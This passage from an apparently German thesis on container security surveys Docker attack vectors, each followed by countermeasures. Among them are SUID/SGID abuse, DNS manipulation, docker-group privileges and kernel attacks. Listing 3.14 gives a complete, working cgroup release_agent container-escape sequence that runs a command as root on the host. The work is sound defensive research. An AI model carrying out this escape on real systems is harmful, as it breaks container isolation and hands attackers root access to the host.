erhalten, um die Geheimnisse auslesen zu kénnen.

Schutz 15.1 - Sicherheitsupdates und physikalischen Zugriff beschranken: Um
den unberechtigten Zugriff auf den Arbeitsspeicher durch Angreifende oder Schadsoftware

aufgrund von Sicherheitsliicke verhindern zu kénnen, sollten regelmaBig Sicherheitsak-
tualisierungen aller Pakete durchgefiihrt werden.

Der Zugriff auf die Hardware sollte nach dem Prinzip der geringsten Rechte (siehe
Definition 13, Seite 13) auf den notwendigen Personenkreis beschrankt werden.
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3.4.4 Sonderrechte

Unter Linux gibt es neben den Rechten read , write und execute auch Sonderrechte
fur Dateien und Verzeichnissen. Beispiele hierfiir sind Setuid (SUID) und Setgid (SGID).

Ein gesetztes SUID -Bit (erkennbar am s anstelle des execute -Bit der Besitzrechte)
bedeutet, dass die Datei , unabhangig von wem, mit Besitzrechten ausgefiihrt wird.
Ein gesetztes SGID -Bit (erkennbar am = anstelle des execute -Bit der Gruppenrechte)
bedeutet, dass die Datei , unabhangig von wem, mit Gruppenrechten ausgefiihrt wird.
Ein gesetztes SGID -Bit auf einem Verzeichnis aktiviert die Vererbung der Gruppe
auf neu erstelle Dateien oder Verzeichnisse.

Ob eine Datei oder ein Verzeichnis ein gesetztes SUID -Bit oder SGID -Bit aufweist, kann
beispielsweise mit dem Befehl 1s -1 Gberpriift werden (siehe Aufl. 3.11, Seite 62).

Aufl. 3.11 Sonderrechte anzeigen [*: 1] [[1 ]

ubuntu@vm:~$ 1s -1 /usr/bin/crontab /usr/bin/passwd
-rwxr-sr-x 1 root crontab 43720 Feb 13 2020 /usr/bin/crontab
-rwsr-xr-x 1 root root 68208 Mai 28 2020 /usr/bin/passwd
# = SUID-Bit (rws)

# ~ SGID-Bit (r-s)

Setuid-(SUID)-Bit (Datei): Datei wird mit Besitzrechten ausgefiihrt.
Setgid-(SGID)-Bit (Datei): Datei wird mit Gruppenrechten ausgefiihrt.
Setgid-(SGID)-Bit (Verzeichnis): Gruppe wird auf neu erstellte Dateien und Verzeichnisse vererbt.

Vektor 16 [, '/ ] ] — SUID-/SGID-Angriffe:

Es ist moglich, durch Sicherheitsliicken in ausfiihrbaren Dateien mit gesetzten SUID-
oder SGID-Bits unmittelbar Root-Rechte auf dem Host zu erlangen. Beim Ausfiihren
einer Datei erbt der gestartete Prozess normalerweise die ID des Besitzkontos. Ist ein
SUID-Bit gesetzt, erhalt der Prozess die ID des Besitzkontos der Datei.

Typische UNIX-Programme mit SUID-/SGID-Bit sind beispielsweise su und sudo. Werden
Sicherheitsliicken in solchen Programmen gefunden oder den Angreifenden gelingt es,
diese Dateien mit manipulierten Versionen zu ersetzen (z. B. durch physikalischen Zugriff
auf eine unverschliisselte Festplatte), kdnnen Root-Rechte durch unprivilegierte Konten
auf dem System erlangt werden.

Schutz 16.1 — SUID-/SGID-Bits priifen: Fortlaufende Priifungen kénnen SUID-
/SGID-Angriffe erschweren, indem anfallige Dateien innerhalb des Dateisystems durch
moglichst kurze Prifintervalle erkannt werden. Diese Aufgabe kann von Container-Image-
Scannern oder herkdémmlichen Scannern fiir Sicherheitsliicken iibernommen werden. Mit
dem Befehl find -L / -xdev -perm -4000 -o -perm -2000 (siehe Aufl. 3.12,
Seite 63) kann eine manuelle Priifung durchgefiihrt werden.
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Aufl. 3.12 Sonderrechte suchen [A“fi 11 [VTZ]

ubuntu@vm: ~$ sudo find -L / -xdev -perm -4000 -o -perm -2000
/bin/mount

/bin/passwd

/bin/su

/bin/sudo

[...]

Optionen von find (Suche nach Dateien in einer Verzeichnishierarchie):
-L Symbolische Links verfolgen
-xdev Keine Verzeichnisse auf anderen Dateisystemen durchsuchen
-perm Berechtigungsbits (-4000: SUID, -2000 SGID)
-o Logischer Operator ,Oder" (Disjunktion)

Eine ausfiihrlichere Ausgabe kann durch Weiterleitung der gefundenen Dateien an den
Befehl xargs -r in Verbindung mit 1s -1 (siehe Aufl. 3.13, Seite 63) erzeugt werden.

Aufl. 3.13 Sonderrechte suchen und mit xargs in langer Auflistung anzeigen [ 1] [VTZ]

ubuntu@vm:~$ sudo find -L / -xdev -perm -4000 -o -perm -2000 | xargs -r 1ls -1
-rwsr-xr-x 1 root root 55528 Jul 21 2020 /bin/mount

-rwsr-xr-x 1 root root 68208 Mai 28 2020 /bin/passwd

-rwsr-xr-x 1 root root 67816 Jul 21 2020 /bin/su

-rwsr-xr-x 1 root root 166056 Jan 19 2021 /bin/sudo

[...]

Optionen von xargs (Befehlszeilen von der Standardeingabe erstellen und ausfiihren):
-r Befehl nicht ausfiihren, wenn keine Nicht-Leerzeichen enthalten

Optionen von 1s (Verzeichnisinhalte auflisten):
-1 Langes Listenformat verwenden

3.5 Images und Instanzen

Die Herkunft der Images und die Konfiguration der Instanzen von Containern sind
wesentliche Faktoren, die bei der Sicherheit von Containerinfrastrukturen relevant sind.
Die nachfolgenden Angriffsvektoren stellen einen Einblick in die Bandbreite moglicher
Szenarien dar. Als Quellen werden alle Bezugspunkte von Software bezeichnet, die
beispielsweise Pakete iiber Linux-Repositories oder Images iiber Docker-Hubs*' zum
Download zur Verfligung stellen.

41 Container Image Library, die Abbilder zum Instanziieren von Containern bereitstellt.
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3.5.1 Quellen

Die Quellen fiir den Bezug von Images und Paketen dienen dazu, aktuelle Software
und regelmaBige Sicherheitsaktualisierungen fiir den Host und Containern bereitzustellen.
Beispiele dafiir sind Docker-Container- und Linux-Paketquellen-Repositorien.

Der Host und die Quellen selbst sowie die Routen zwischen den beteiligten Netzwerken
auf dem Weg der Datenpaketen von Host zur Quelle und zuriick, kénnen an verschiedenen
Stellen manipuliert werden.

Vektor 17 [ '?\|'] — Manipulation der Hosts:
Um einen Host auf gefalschte oder kompromittierte Quellen weiterzuleiten, ist eine

Manipulation der lokalen Namensauflésung denkbar. Auf einem Linux-Betriebssystem
und unter der Voraussetzung, dass lokale Zugriffsrechte®” zum Schreiben der Dateien
vorhanden sind (z. B. durch andere Angriffsvektoren, Sicherheitsliicken oder physikalischen
Zugriff auf das Dateisystem), kdnnen folgende Vektoren in Betracht kommen.

Wird in der Datei /etc/resolv.conf *® eine IP-Adresse eines kompromittierten DNS-
Servers oder in der Datei /etc/hosts ** eine IP-Adresse eines kompromittierten Ziels
eintragen, konnen Anfragen an eine Quelle (ber Netzwerkkomponenten geleitet werden,
uber die Angreifende vollstandige Kontrolle haben.

Eine weitere Moglichkeit der Manipulation auf dem Host selbst stellt die Temporarspei-
chervergiftung (Cache Poisoning) dar. Dabei werden gefélschte Informationseinheiten
(Resource Record) in den Zwischenspeicher (Cache) des Hosts eingeschleust.

Bemerkung 17.1 — Einsehen, Verandern und AbflieBen von Daten: Mit der
Manipulation eines Hosts (siehe Vektor 17, Seite 64) kénnten Informationen eingesehen,
Datenpakete verandert oder die originalen Images und Paketen komplett mit manipulierten
Versionen ausgetauscht werden. Die Nutzdaten konnten auf kompromittierte Server
abflieBen. Hierbei wird auch von Angriffen des Man in the Middle gesprochen.

Schutz 17.1 — Priifen der Konfigurationsdateien zur Namensauflosung: Durch
die Sicherstellung, dass an den Dateien /etc/resolv.conf und /etc/hosts keine
unberechtigten Veranderungen stattfinden, werden in diesen Szenarien die Angriffe des

Man in the Middle erschwert. Das kann Uber ein manuelles oder automatisches Prifen
der Inhalte oder des Anderungsdatums dieser Dateien erfolgen.

2 Meist sind hierzu Root-Rechte notwendig.
3 Konfigurationsdatei zur DNS-basierten Namensauflosung mittels DNS-Aufléser.
4 Konfigurationsdatei zur lokalen Namensauflésung durch Zuordnung von Hostnamen zu IP-Adressen.
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Vektor 18 [ 7 || ] — Manipulation der Netzwerke:

Anders als bei der Manipulation des Hosts (siehe Vektor 17, Seite 64), werden bei der
Manipulation von Netzwerkkomponenten die anderen Systeme manipuliert, die an dem

vorgesehenen Verbindungsaufbau beteiligt sind. In der Regel sind das mindestens die
Sende- und Empfangseinheit (Host und Server) sowie Ubertragungsmedien, Switches,
Router, die Datenpakete selbst und alle beteiligten Protokolle. Dazu zahlen auch Dienste
wie beispielsweise DHCP und DNS.

Hierbei konnen Angriffe auf die Server des DNS oder Routing in Betracht kommen,
ohne dass die jeweiligen Konfigurationsdateien auf dem Host selbst verandert werden
mussen. Wird ein beteiligter DNS-Server durch Angreifende kompromittiert, kann dieser
verfalschte |IP-Adressen an die Hosts der Container herausgeben, indem direkt auf
den beteiligten DNS-Servern die Eintragungen (z. B. A-Records®) verandert werden.
Der Host schickt seine Anfragen dann an andere Server, die moglicherweise ebenfalls
kompromittiert sind. Die Hinweise zur Manipulation der Hosts gelten entsprechend (siehe
Bemerkung 17.1, Seite 64).

Eine weitere Moglichkeit zur Manipulation iiber Netzwerke stellt DNS-Spoofing dar. Dabei
werden mittels IP-Spoofing*® falsche Informationseinheiten (Resource Record) gesendet
oder DNS-Hijacking angewendet, wodurch Resolver falsche Antworten zuriickgeben.

Wird der Datenverkehr auf ein nicht erreichbares Ziel umgelenkt, kann mittels DoS eine
Dienstverweigerung auftreten. Denkbar sind auch Distributed Denial of Service (DoS)
oder Economic Denial of Sustainability (EDoS).

Schutz 18.1 — Zufallswerte und kryptographische Verfahren: Die moglichen Schutz-
maBnahmen gegen Manipulation der Netzwerke haben oft da ihre Grenzen, wo auch der

eigene administrative Zustandigkeitsbereich endet. Werden die an einer Kommunikation
beteiligten DNS-Server auBerhalb des eigenen Zustandigkeitsbereichs kompromittiert,
ist die Reaktionsfahigkeit der jeweiligen Administration entscheidend, damit sich die
Bedrohung nicht auf die eigenen Netzwerke auswirkt.

Einen Schutz gegen DNS-Spoofing konnen Zufallswerte im Paket-Header der DNS-
Nachrichten bieten. Dabei sind Kryptographische Verfahren zuverlassiger, setzen jedoch
auch mehr Ressourcen zur Umsetzung voraus. Dabei kdnnen digitale Signaturen oder
Message Authentication Codes zum Einsatz kommen. Das Domain Name System Security
Extensions (DNSSEC) signiert die Resource Records asymmetrisch und DNSCurve
verschliisselt die Verbindung zwischen Host und Nameserver. Ein weiteres Verfahren zur
Verschliisselung der Kommunikation ist Transaction Signature (TSIG).

45 Meist die Zuordnung eines Hostnamen zu der jeweiligen IP-Adresse des Hosts.
46 \/ersenden von IP-Paketen mit gefalschter Absender-IP-Adresse.
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Vektor 19 [, %’ /] — Manipulation der Quellen:

Durch verschiedene Angriffsvektoren kénnen die Quellen selbst kompromittiert werden.

Denkbar ist das Einschleusen von Schadsoftware in die Images und Pakete der jeweiligen
Repositories oder dem Docker-Hub.

Schutz 19.1 — Vertrauenswiirdige Quellen: Eine Moglichkeit praventiv gegen diese
Schadsoftware vorzugehen, die beispielsweise mittels sogenanntem Drive-by-Download*’

auf den Host gelangen kann, ist die jeweilige Software selbst zu programmieren. In
zahlreichen Szenarien muss jedoch auf bereits existierende Software zuriickgegriffen
werden, die von anderen oft unbekannten Personen erstellt wurde. Es dirfte nur wenige
Szenarien geben, in denen man auf Sicherheitsaktualisierungen aus Sicht der Security®
verzichten konnte, sodass meist regelmaBige Aktualisierungen notwendig werden.

Grundsatzlich sollte Software nur aus vertrauenswiirdigen Quellen bezogen werden.
Bei der Auswahl von Quellservern konnen, falls verfiigbar, deren Sicherheitskonzepte
einbezogen werden, um mit einer Einschatzung fiir die eigene Risikoanalyse bewerten zu
konnen, wie wahrscheinlich es ist, dass deren Systeme kompromittiert werden. Dabei
sind vielerlei Faktoren und Uberlegungen notwendig.

3.5.2 Rootrechte

Die Nutzung von Containern bietet gewisse Vorteile. Beispielsweise lassen sich mit
geringem Zeitaufwand die Logdateien I0schen, fehlerhafte Installationen beheben oder
andere Probleme durch Wiederherstellung des Auslieferungszustandes l6sen, indem der
Container neu instanziiert wird. Dabei bekommen die Root-Rechte eine wesentliche
Bedeutung. Diese Vorgehensweise und die daraus hervorgehenden Angriffsvektoren
werden nachfolgend untersucht.

Definition 33 [, %' |/ ] — Rootrechte und Rootless Mode:
Docker Container werden durch einen Daemon erzeugt, der in der Vergangenheit zwingend
mit Root-Rechten ausgefiihrt werden musste. Ab Version 19.03 kann der Daemon

unter bestimmten Umstanden auch von einem Konto mit unprivilegierten Rechten im
sogenannten rootless mode ausgefiihrt werden. [43]

Lauft der Daemon mit Root-Rechten, bedient sich Docker oft einer eigenen Gruppe,
beispielsweise docker , um auch unprivilegierten Konten die Erzeugung neuer Docker
Container zu erlauben. [41]

47 Unbeabsichtigtes Herunterladen von (Schad-)Software.
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Vektor 20 [/, 7' \.] — Gruppen und Berechtigungen:
Ein mogliches Problem besteht darin, dass alle unprivilegierten Konten, die eine Mit-
gliedschaft in einer Docker-Gruppe wie beispielsweise docker besitzen, indirekt liber

Root-Rechte auf dem Host-System verfiigen. [74, 88]

Schutz 20.1 — Docker mit nicht privilegierte Konten: Als Reaktion auf die Pro-
blematik wurde der Rootless Mode eingefiihrt (siehe Definition 33, Seite 66).

Vektor 21 [, 7 ..] — Docker und Privilege Escalation:

Unter der Voraussetzung, dass ein Container mit Root-Rechten gestartet wird, kann
durch das Ausnutzen von Sicherheitsliicke in einer ebenfalls mit Root-Rechten gestarteten
Software ein Containerausbruch erméglicht werden [22]. Dieser Angriffsvektor ist nicht
zu verwechseln mit den Containerausbruch aufgrund unsicherer Konfigurationen (siehe
Vektor 24, Seite 68).

Schutz 21.1 — Prinzip der geringsten Privilegien und Aktualisierungen: Alle Be-
rechtigungen sollten gemaB dem Prinzip der geringsten Privilegien an Anwendungen und
Prozesse vergeben werden. RegelmaBige Sicherheitsaktualisierungen (siehe Schutz 4.1,
Seite 43) konnen vor bekannten Exploits schiitzen.

Vektor 22 [, 7 | ] — Container und Prozesse:

Ein Container fihrt Linux-Prozesse aus, die vom Host aus sichtbar sind. Die beim
Starten einer Anwendung angegebenen Parameter oder die Umgebungsvariablen im
Container (siehe Vektor 13, Seite 60) sind dadurch ebenfalls vom Host aus einsehbar. Die
Prozesse innerhalb eines Containers greifen auf Systemaufrufe (siehe Unterabschnitt 3.2.1,
Seite 48), Capabilities (siehe Unterabschnitt 3.2.2, Seite 49), Kontrollgruppen (siehe
Unterabschnitt 3.3.1, Seite 51)*® und Namensraume (siehe Unterabschnitt 3.3.2, Seite 53)
des Hosts zu.

Schutz 22.1 — Prozessen und Angreifenden wenig Angriffsfliche bieten: Die
Sicherheit von einem Container hangt wesentlich von dessen Host ab. Durch die Konfigu-
ration eines Hosts als Minimalsystem (siehe Unterabschnitt 3.1.1, Seite 30), die Hartung
des Betriebssystems (siehe Unterabschnitt 3.1.3, Seite 38) und der jeweiligen Dienste
sowie des Intervalls von Sicherheitsaktualisierungen kann die Angriffsflaiche wesentlich

reduziert werden. Zudem sollten auf das Ubergeben von schiitzenswerten Informationen
uber Parameter oder Umgebungsvariablen an die Prozesse verzichtet werden.

8 Docker erstellt eigene cgroups fiir jeden Typ, vgl. (siehe Bemerkung 29.1, Seite 51).
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3.5.3 Konfigurationsvorlagen

Die YAML-Auszeichnungssprache wird im hiesigen Kontext zur Erstellung von Konfigura-
tionsdateien genutzt, die bei der Instanziierung eines Containers als Vorlage dienen.

Vektor 23 [, 7' | ] — YAML-Konfigurationen aus unbekannten Quellen:

Eine YAML-Konfigurationsdatei beinhaltet alle bendtigten Informationen, mit denen
sich beispielsweise Docker-Container instanziieren lassen. Die Ersetzung eines einzigen
Zeichens in einer Registrierungs-URL innerhalb der Konfigurationsdatei kann dazu fiihren,

dass ein bosartiges Image zum instanziieren eines Container bezogen wird. [22]

Schutz 23.1 — YAML-Konfigurationen priifen oder selbst schreiben: Besonders
die aus dem Internet bezogenen YAML-Konfigurationsdateien sollten sorgfaltig gepriift
werden. Durch das zeilenweise und handische Abschreiben der Konfigurationen kann

das Risiko verringert werden, dass ein winziges Detail durch Angreifende in der Datei
verandert wurde, das beim lesenden Prifen eher Gbersehen werden kdénnte.

3.5.4 Containerausbruch

Die Container kdnnen neben der Isolation von Abhangigkeiten auch Sicherheitsgrenzen
(siehe Definition 10, Seite 12) darstellen. Durch die Kombination von Angriffsvektoren
sind die Grenzen iberwindbar und es kann zum Containerausbruch (Container Escape)
kommen, wodurch unberechtigte Zugriffe auf Dateien oder Netzwerke moglich werden.

Definition 34 [/, ] ] — Containerausbruch und Voraussetzungen:
Durch Fehlkonfigurationen beim Instanziieren eines Containers (siehe Vektor 24, Seite 68)

oder durch Sicherheitsliicken in der Engine kann ein Containerausbruch erméglicht werden.
Erlaubt eine Sicherheitsliicke in einer Anwendungsabhangigkeit innerhalb des Containers
einen Schadcode auszufiihren, kann durch eine unsichere Container-Konfiguration oder
eine weitere Sicherheitsliicke den Zugriff auf das Dateisystem des Hosts oder einen
anderen Container etabliert werden. Wurde der anféllige Container mit Root-Rechte
gestartet, kdnnen Angreifende diese auf dem Host tibernehmen. [22]

Vektor 24 [, || ] — Containerausbruch mittels Capabilities und Syscalls:
Mit Nutzung der cgroup -Funktion release_agent (siehe Bemerkung 29.1, Seite 51),

der capability -Gruppe SYS_ADMIN *° und des syscall -Befehls mount °° kann ein
Ausbruch aus dem Container gelingen (siehe Aufl. 3.14, Seite 69).

49 Die iberladene Capability SYS_ADMIN bringt Systemberechtigungen (Root-Rechte) mit und erlaubt
z. B. Systemadministrationsaktionen wie clone (neue Namensrdume erstellen) und mount (Dateisys-
teme einhangen). Die Option ~cap-add=SYS_ADMIN erleichtert einen Ausbruch erheblich. [71]

50 Root-Rechte oder Rechte zum Ausfiihren des mount-Befehls innerhalb des Containers notwendig.
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Aufl. 3.14 Containerausbruch durchfiihren [89, 90, 71, 73, 68] [A”ﬂlJ'l] [\ ]

ubuntu@vm: ~$ docker run --rm -it --cap-add=SYS_ADMIN --security-opt
— apparmor=unconfined ubuntu bash
root@6de7[...]:/# id

1uid=0(root) gid=0(root) groups=0(root)
root@6de7[...]:/# mkdir /tmp/cgrp && \

mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
root@6de7[...]:/# 1s -al /tmp/cgrp/

-rw-r——-r-— 1 root root O Jul 28 14:55 notify_on_release

-rw-r--r-—— 1 root root O Jul 28 14:55 release_agent # <-- AGENT
drwxr-xr-x 2 root root O Jul 28 14:55 x
[...]

root@6de7[...]:/# 1s -al /tmp/cgrp/x/
-rw-r——-r-- 1 root root O Jul 28 14:55 notify_on_release # <-- NOTIFY
[...]
root@6de7[...]:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@6de7[...]:/# cat /etc/mtab
overlay / overlay
o rw,relatime,lowerdir=[...],upperdir=/var/1ib/docker/overlay2/3d38[...]J
— 75df/diff,workdir=/var/lib/docker/overlay2/3d38[...]75df/work 0 0
root@6de7[...]:/# host_path="sed -n 's/.*\perdir=\([",]1*\).*/\1/p' /etc/mtab”
root@6de7[...]:/# echo $host_path
/var/lib/docker/overlay2/3d38[...]175df/diff
root@6de7[...]:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent
root@6de7[...]:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/3d38[...]175df/diff/cmd
root@6de7[...]:/# echo '#!/bin/sh' > /cmd

root@6de7[...]:/# echo "ps aux > $host_path/output" >> /cmd
root@6de7[...]:/# chmod a+x /cmd
root@6de7[...]:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@6de7[...]:/# cat /output
USER PID %CPU JMEM VSZ RSS TTY STAT START TIME COMMAND
[...]
ubuntu 4843 0.0 1.4 831096 56584 pts/0 S1+ 16:53 0:00 docker

< run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined
< ubuntu bash

root 4866 0.1 0.2 713584 9212 7 S1 16:53 0:00

— /usr/bin/containerd-shim-runc-v2 -namespace moby -id 6de7[...]546b
— -—address /run/containerd/containerd.sock

root 4950 0.0 0.0 2616 596 7 S 17:04  0:00 /bin/sh
— /var/lib/docker/overlay2/3d38[...]75df/diff/cmd /x
root 4951 0.0 0.0 5904 2820 7 R 17:04 0:00 ps aux

ubuntu@vm:~$ sudo cat /var/lib/docker/overlay2/3d38[...]75df/diff/cmd
#!1/bin/sh
ps aux > /var/lib/docker/overlay2/3d38[...]75df/diff/output

ubuntu@vm:~$ sudo cat /var/lib/docker/overlay2/3d38[...]75df/diff/output
USER PID %CPU JMEM VSZ RSS TTY STAT START TIME COMMAND
[auf Host (@vm) gleiche Ausgabe wie innerhalb des Containers (@6de7[...])]
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Schutz 24.1 — Uberladene Capabilities und Root-Rechte reduzieren: Es sollte
auf unzulissige Capabilities wie CAP_SYS_ADMIN *° (siehe Tab. 3.6, Seite 50) und
auf abkommliche Root-Rechte fiir Container-Instanzen verzichtet werden. [71]

Schutz 24.2 — Capabilities vollstindig entfernen: Wenn ein Container nicht mit
Root-Rechte gestartet wurde und keine Setuid- oder Setgid-Root-Programme enthalt
(siehe Unterabschnitt 3.4.4, Seite 62), kénnen alle Capabilities entfernt werden. Dies
figt dem Container eine weitere Schicht der Abhartung hinzu, was hilfreich sein kann,

um das Ausbrechen aus dem Container zu verhindern.
Bei Root-Containern sollte die Standardliste der Funktionen, die von der Container-

Laufzeitumgebung zur Verfligung gestellt wird, (iberpriift werden. Insbesondere gibt es
solche wie CAP_NET_RAW im Standard-Docker-Set, die gefahrlich sein kénnen. [71, 91]

3.5.5 Kernelangriffe

Der Kernel (Kern) bildete die unterste Softwareschicht des Betriebssystems und verfiigt
uber direkten Zugriff auf die Hardware. Als Betriebssystemkern legt dieser die Prozess-
und Datenorganisation fest.

Vektor 25 [, /] — Kompromittierung des Host durch Kernelangriffe:

In einer virtuellen Maschine greifen die Anwendungen aufgrund des eigenen Betriebssys-
tems auf einen separaten Kernel zu, der vom Host unabhangig ist. Die Anwendungen
in einem Container nutzten mit dem Host-Betriebssystems einen gemeinsamem Ker-
nel. Dabei wird die Leistung verbessert, aber gleichzeitig auch das Risiko erhoht, dass
erfolgreiche Kernel-Angriffe auch den Host kompromittieren konnen. [22]

Schutz 25.1 - Sichere Konfiguration und separate Namensraume: Fiir sichere

Instanziierungen von Containern sollten die Sicherheitshinweise der Herstellenden beriick-
sichtigt und eine Hartung (siehe Unterabschnitt 3.1.3, Seite 38) durchgefiihrt werden.

Es gabe eine sichere Moglichkeit, die Anwendungen innerhalb von Containern auch mit
Root-Rechten zu starten, ohne dass sich dabei ein Risiko ergibt. Dazu sollten separate
Namensrdume (siehe Unterabschnitt 3.3.2, Seite 53) und das Root-Konto innerhalb
des Containers auf ein unprivilegiertes Konto des Hostsystems abgebildet werden (siehe
Schutz 26.1, Seite 71). [92]
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3.6 Absicherung und Hartung

Die Namensraume (siehe Abschnitt 30, Seite 53) von Linux sind fiir die Isolierung laufender
Prozesse zustandig. Damit wird fiir jeden Prozess der Zugriff auf Systemressourcen
eingeschrankt, ohne dass der Prozess iiber diese Einschrankung informiert wird [93, 94].
Durch Aktivierung von userns-remap werden vorhandene Image- und Containerebene

sowie andere Docker-Objekte innerhalb von /var/lib/docker effektiv ausgeblendet.
Das liegt daran, dass Docker die Eigentiimerschaft dieser Ressourcen anpassen muss und
sie in einem Unterverzeichnis innerhalb von /var/lib/docker speichert. Daher ist es
empfehlenswert, diese Funktion bei einer neuen Docker-Installation zu aktivieren und
nicht bei einer bestehenden. [93]

3.6.1 Privilegienangriffe

Unter Fachleuten wird haufig auf Produkte anderer Projekte zuriickgegriffen, wie bei-
spielsweise Werkzeuge, Programme oder auch Analyseskripte. Werden diese Produkte
innerhalb der eigenen Container genutzt, konnte moglicherweise ungepriifter Quelltext
aus unbekannter Herkunft gestartet werden.

Fir den Fall, dass eine regelmaBige Prifung der Quelltexte nicht umgesetzt werden kann,
sollten diese Skripte und der Container selbst bestmdglich isoliert werden. Ein Grund fiir
unzureichende Quelltextprifungen konnen hohe Aktualisierungsintervalle darstellen.

Vektor 26 [, /] — Analyseskripte und Privilegienangriffe:

Wird ein Analyseskript mit einem privilegierten Konto gestartet, wird auch der gesamte
Quelltext des Skriptes mit Root-Rechten ausgefiihrt. Diese privilegierten Rechte kdnnen
einen Containerausbruch erleichtern (siehe Vektor 24, Seite 68).

Wird ein Analyseskript zwar nur mit einem unprivilegierten Konto gestartet, es liegt jedoch
ein SUID-/SGID-Bit-Programm mit einer Sicherheitsliicke innerhalb des Containers vor
und ein boswilliges Skript erhalt Kenntnis dariiber (siehe Tatigkeit 19.1, Seite 25), so
kénnen die Privilegien innerhalb des Containers ausgebaut (siehe Tatigkeit 19.3, Seite 25)
und ein Containerausbruch (siehe Unterabschnitt 3.5.4, Seite 68) erreicht werden.

Schutz 26.1 — Privilegien auf Host abbilden: Ein effektiver Weg, um Angriffe auf
Privilegien innerhalb eines Containers zu verhindern besteht darin, die Anwendungen im

Container mit unprivilegierten Konten auszufithren. [93]
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Bei Containern, deren Prozesse innerhalb des Containers mit Root-Rechten ausgefiihrt
werden miissen, kann das Konto auf ein weniger privilegiertes Konto auf dem Docker-Host
abgebildet werden. Dem zugeordneten Konto wird eine Reihe von UIDs zugewiesen,
die innerhalb des Namespaces als normale UIDs von 0 bis 65536 fungieren, auf dem
Host-Rechner selbst jedoch keine Privilegien mit sich bringen. [93]

Schutz 26.2 - Bibliotheken unprivilegiert installieren: Moglicherweise werden zum
Ausfiihren von Skripten zusatzliche Bibliotheken benétigt. Manche Bibliotheken lassen

sich mit unprivilegierten Rechten installieren, ohne dass dafiir Root-Rechte notwendig
werden. Dieses Vorgehen ist zu bevorzugen, damit Angriffe auf Privilegien (iber das
Ausfiihren von Skripten mit Root-Rechten zu erschweren.

3.6.2 Isolierung

Verschiedene Sicherheitsprogramme kénnen Betriebssysteme und Images fir Container
regelmaBig auf Sicherheitsliicken untersuchen. Dabei wird beispielsweise nach bestimmten
Konfigurationsparametern oder bekannten Programmierfehlern gesucht. Zur zusatzlichen
Verstarkung der Containerisolierung konnen verschiedene Sicherheitsfunktionen von Linux
zum Einsatz kommen.

Um die grundlegende Isolierung von Containern zu verstarken, hatten sich Seccomp ,
AppArmor und SELinux bewahrt. Diese Losungen wiirden jedoch einen erhohten Ver-
waltungsaufwand mit sich bringen. Andere Losungen wie Firecracker oder Unikernel
ermoglichen die Isolation einer virtuellen Maschine. Die Funktionen von gVisor fallen
in den Bereich der Sandboxing-Techniken und bieten eine verstarkte Isolierung, erreichen
jedoch nicht die einer virtuellen Maschine. [22]

Diese Sicherheitsfunktionen zur Containerisolierung lassen sich mit geringerem Aufwand

kompromittieren (siehe Vektor 24, Seite 68), sobald ein Container mit Root-Rechten
gestartet wurde oder (iber unzuldssige Capabilities (siehe Tab. 3.6, Seite 50) verfiigt.
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4 Zusammenfassung

Eine Containervirtualisierung beansprucht weniger Ressourcen als virtuelle Maschinen
und ist skalierbar sowie flexibel fiir Microservices in hybriden Netzwerken einsetzbar.
Neben den Vorteilen existieren auch Nachteile. Es werden haufig Sicherheitsbedenken
genannt, woraus sich die Problemstellung dieser Forschungsarbeit ergeben hat.

Rekapitulierend lieBen sich die daraus nachfolgend abgeleiteten Fragestellungen nicht
losgeldst voneinander betrachten, da sonst Angriffsvektoren redundant hatten aufgefiihrt
werden mussen:

a) Welche potenziellen Angriffsvektoren auf Containern-Infrastrukturen gibt es,
1. um mit kompromittierter Software schiitzenswerte Daten preiszugeben,
2. um exogen Einfluss auf die in Containern verwendeten Daten zu nehmen und
3. um mit Schadsoftware im Container auf die restliche Infrastruktur zu wirken?
b) Welche mdglichen SchutzmaBnahmen fiir Container-Infrastrukturen gibt es?

4.1 Erzielte Ergebnisse

Um die Angriffsflache fiir Bedrohungen zu reduzieren, sollten die Eigenschaften eines
Minimalsystems erfiillt werden (siehe Unterabschnitt 3.1.1, Seite 30). Bei der Auswahl
eines Betriebssystems ist die Fahigkeit zur Minimalisierung sowie der sicheren Fernwartung
zu beriicksichtigen (siehe Unterabschnitt 3.1.2, Seite 32). Diese Anforderungen werden
durch gangige Linux-Distributionen erfillt.

Fir die Firewall erstellt Docker eigene Ketten und Regeln, die sich vor der FORWARD -Kette
auswirken und so Ports gedffnet werden konnen (siehe Unterabschnitt 3.1.5, Seite 40).
Alle Komponenten sollten eine Hartung aufweisen (siehe Unterabschnitt 3.1.3, Seite 38).
Zum Erschweren von Versions-/Betriebssystem-Erkennung mittels Banner-Grabbing
kénnen Tarn-Methoden eingesetzt werden (siehe Unterabschnitt 3.1.6, Seite 45).

Die Grundlagen einer sicheren Containervirtualisierung sind Systemaufrufe, Capabilities,
Kontrollgruppen und Namensraume. Etwaige Sicherheitsliicken in diesen Komponenten
kénnen sich erheblich auf Safety? und Security® von Containern oder auf die Daten
auswirken. Dadurch kénnen neue Angriffsvektoren entstehen oder existierende ausgenutzt
werden, wie beispielsweise der Containerausbruch (siehe Unterabschnitt 3.5.4, Seite 68).
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Ein Container kann bei korrekter und geharteter Umsetzung als eine Sicherheitsgrenze
(siehe Abschnitt 2.3, Seite 12) betrachtet werden. Die Starke der Isolierung ist hierbei
jedoch als weniger wirkungsvoll einzuschatzen, als bei einer klassischen Vollvirtualisierung
(siehe Unterabschnitt 3.6.2, Seite 72).

Die Funktionsweisen von Containern wirken sich zwar vorteilhaft auf den Verbrauch
von Ressourcen bei Microservice aus, durch die Nutzung eines gemeinsamen Kernels
sind jedoch besondere SchutzmaBnahmen notwendig. Nach der Kompromittierung eines
Containers (siehe Unterabschnitt 3.5.5, Seite 70) gilt es zu verhindern, dass auf dem Host
auch die anderen Container gefahrdet werden. Das Starten von Containern sollte ohne
Root-Rechte oder im Rootless Mode erfolgen (siehe Unterabschnitt 3.5.2, Seite 66).

Zur Ubergabe von Parametern an Container sollte auf ein eingebundenes Laufwerk
zuriickgegriffen werden (siehe Unterabschnitt 3.4.3, Seite 59). Insbesondere die auf Be-
triebssysteme zutreffenden Angriffsvektoren, beispielsweise SUID-/SGID-Angriffe, sollten
verhindert werden, um das Privilegien ausbauen (siehe Abb. 2.5, Seite 24) zu erschweren
(siehe Unterabschnitt 3.4.4, Seite 62).

